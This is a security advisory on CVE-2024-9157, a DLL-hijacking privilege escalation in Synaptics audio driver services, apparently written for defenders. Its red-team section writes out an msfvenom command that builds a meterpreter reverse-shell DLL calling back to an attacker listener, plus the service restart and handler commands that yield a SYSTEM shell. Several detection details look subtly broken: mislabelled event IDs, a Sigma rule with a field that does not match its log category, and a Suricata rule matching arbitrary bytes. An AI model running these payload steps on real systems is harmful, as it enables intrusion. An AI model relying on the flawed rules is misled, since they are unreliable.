CVE-2024-9157

Executive Summary

CVE-2024-9157 is a privilege escalation vulnerability in Synaptics audio drivers, specifically in the CxUIUSvc64.exe and CxUIUSvc32.exe services. A local authenticated attacker can exploit this flaw to load a malicious DLL into a privileged process, gaining elevated system access. The product is End-of-Life (EOL) and unsupported, meaning no official patch will be released. The CVSS score is 7.8 (High), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. Organizations must remove the affected software to mitigate risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Synaptics audio driver component, which is typically distributed through OEM channels or direct downloads. Users should verify they are not running this EOL software.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – requires local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – attacker needs initial user-level access.
• User Interaction: None (UI:N) – no user action required beyond initial access.
• Scope: Unchanged (S:U) – the vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – full data access possible.
• Integrity Impact: High (I:H) – system files can be modified.
• Availability Impact: High (A:H) – system can be rendered inoperable.

Threat Level: High. Although EPSS is 0.0%, the lack of a patch and the ease of exploitation (local, low privileges) make this a significant risk for any system still running the EOL driver.

Deep Dive & Mechanics

The vulnerability resides in the CxUIUSvc64.exe and CxUIUSvc32.exe services, which are part of Synaptics audio drivers. These services run with elevated privileges (e.g., SYSTEM). The flaw allows a local authenticated attacker to load a malicious DLL into the privileged process. This is a classic DLL hijacking or untrusted search path vulnerability.

Root Cause: The service likely loads a DLL from an insecure path, such as the current working directory or a user-writable location, without proper validation. An attacker can place a malicious DLL in that path, and when the service starts or performs a specific action, it loads the attacker's DLL instead of the legitimate one.

Attack Flow:

1. Attacker gains initial access to the system (e.g., via phishing, removable media, or another vulnerability).
2. Attacker identifies the vulnerable service (CxUIUSvc64.exe or CxUIUSvc32.exe) running with high privileges.
3. Attacker places a malicious DLL in a location that the service searches for dependencies (e.g., the service's working directory or a system PATH directory).
4. The service loads the malicious DLL, executing code in the context of the privileged process.
5. The attacker's code can then perform actions such as creating a new user, installing malware, or exfiltrating data.

Vulnerable vs. Patched Code

Since the product is End-of-Life and no patch exists, there is no patched code to compare. The vulnerable code is the entire CxUIUSvc64.exe and CxUIUSvc32.exe binaries. The only remediation is to remove the software entirely.

Vulnerable Code (Conceptual):

// Example of insecure DLL loading
HMODULE hModule = LoadLibrary(L"some.dll"); // Loads from insecure path

Patched Code (Not Available): A patched version would use absolute paths, digital signature verification, or secure DLL search order (e.g., using SetDllDirectory or LoadLibraryEx with LOAD_LIBRARY_SEARCH_SYSTEM32).

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a Windows system with Synaptics audio drivers installed.
• Ability to write to a directory searched by the service (e.g., C:\ProgramData\Synaptics\ or the service's working directory).

Exploit Steps:

1. Identify the vulnerable service:

   Get-Service -Name *Synaptics* | Select-Object Name, Status
   

2. Create a malicious DLL (e.g., using msfvenom):

   msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
   

3. Place the DLL in a directory that the service searches (e.g., C:\ProgramData\Synaptics\).
4. Trigger the service to load the DLL (e.g., restart the service or perform an audio-related action):

   Restart-Service -Name SynapticsAudioService
   

5. Receive the reverse shell on your listener:

   msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; run"
   

Expected Outcome: A reverse shell with SYSTEM privileges.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual DLL load events from CxUIUSvc64.exe or CxUIUSvc32.exe.
• Track file writes to directories commonly used by Synaptics drivers (e.g., C:\ProgramData\Synaptics\, C:\Windows\Temp\).
• Alert on service restarts or crashes of Synaptics audio services.

Defense:

• Immediate: Remove the Synaptics audio driver if it is not needed. If required, restrict write permissions to the service's directories.
• Long-term: Use application whitelisting (e.g., AppLocker) to prevent unauthorized DLLs from loading.
• Monitoring: Enable Windows Event Logging for DLL load events (Event ID 7 - Driver Load, Event ID 1006 - DLL Load).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_9157_Synaptics_DLL_Hijack {
    meta:
        description = "Detects malicious DLLs targeting Synaptics audio driver vulnerability CVE-2024-9157"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-9157"
    strings:
        $s1 = "CxUIUSvc64.exe" ascii wide nocase
        $s2 = "CxUIUSvc32.exe" ascii wide nocase
        $s3 = "Synaptics" ascii wide nocase
        $s4 = "LoadLibrary" ascii wide nocase
    condition:
        (uint16(0) == 0x5A4D) and (any of ($s1, $s2)) and ($s3 or $s4)
}

Sigma Rule

title: Suspicious DLL Load by Synaptics Audio Service
id: 8f9e7d6c-5b4a-3c2d-1e0f-9a8b7c6d5e4f
status: experimental
description: Detects DLL load events from CxUIUSvc64.exe or CxUIUSvc32.exe that may indicate exploitation of CVE-2024-9157
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9157
logsource:
    product: windows
    service: security
    category: process_creation
detection:
    selection:
        Image|endswith:
            - '\CxUIUSvc64.exe'
            - '\CxUIUSvc32.exe'
        LoadedImage|endswith:
            - '.dll'
    condition: selection
falsepositives:
    - Legitimate Synaptics driver updates
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9157 Synaptics Audio Driver Exploit - Potential Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; content:"|ff ff ff ff|"; within:4; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-9157; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the Synaptics audio driver from all systems. This is the only complete fix.
2. If removal is not possible, restrict write permissions to directories where the service runs (e.g., C:\ProgramData\Synaptics\, C:\Windows\Temp\).
3. Monitor for any suspicious DLL load events from CxUIUSvc64.exe or CxUIUSvc32.exe.

Long-term Measures:

• Application whitelisting (e.g., AppLocker) to block unauthorized DLLs.
• Least privilege – ensure users run with minimal necessary permissions.
• Regular audits of installed software to identify and remove EOL components.

Vendor Communication: Synaptics has declared the product End-of-Life and will not issue a patch. Users should contact their OEM for alternative audio drivers.

Valters IT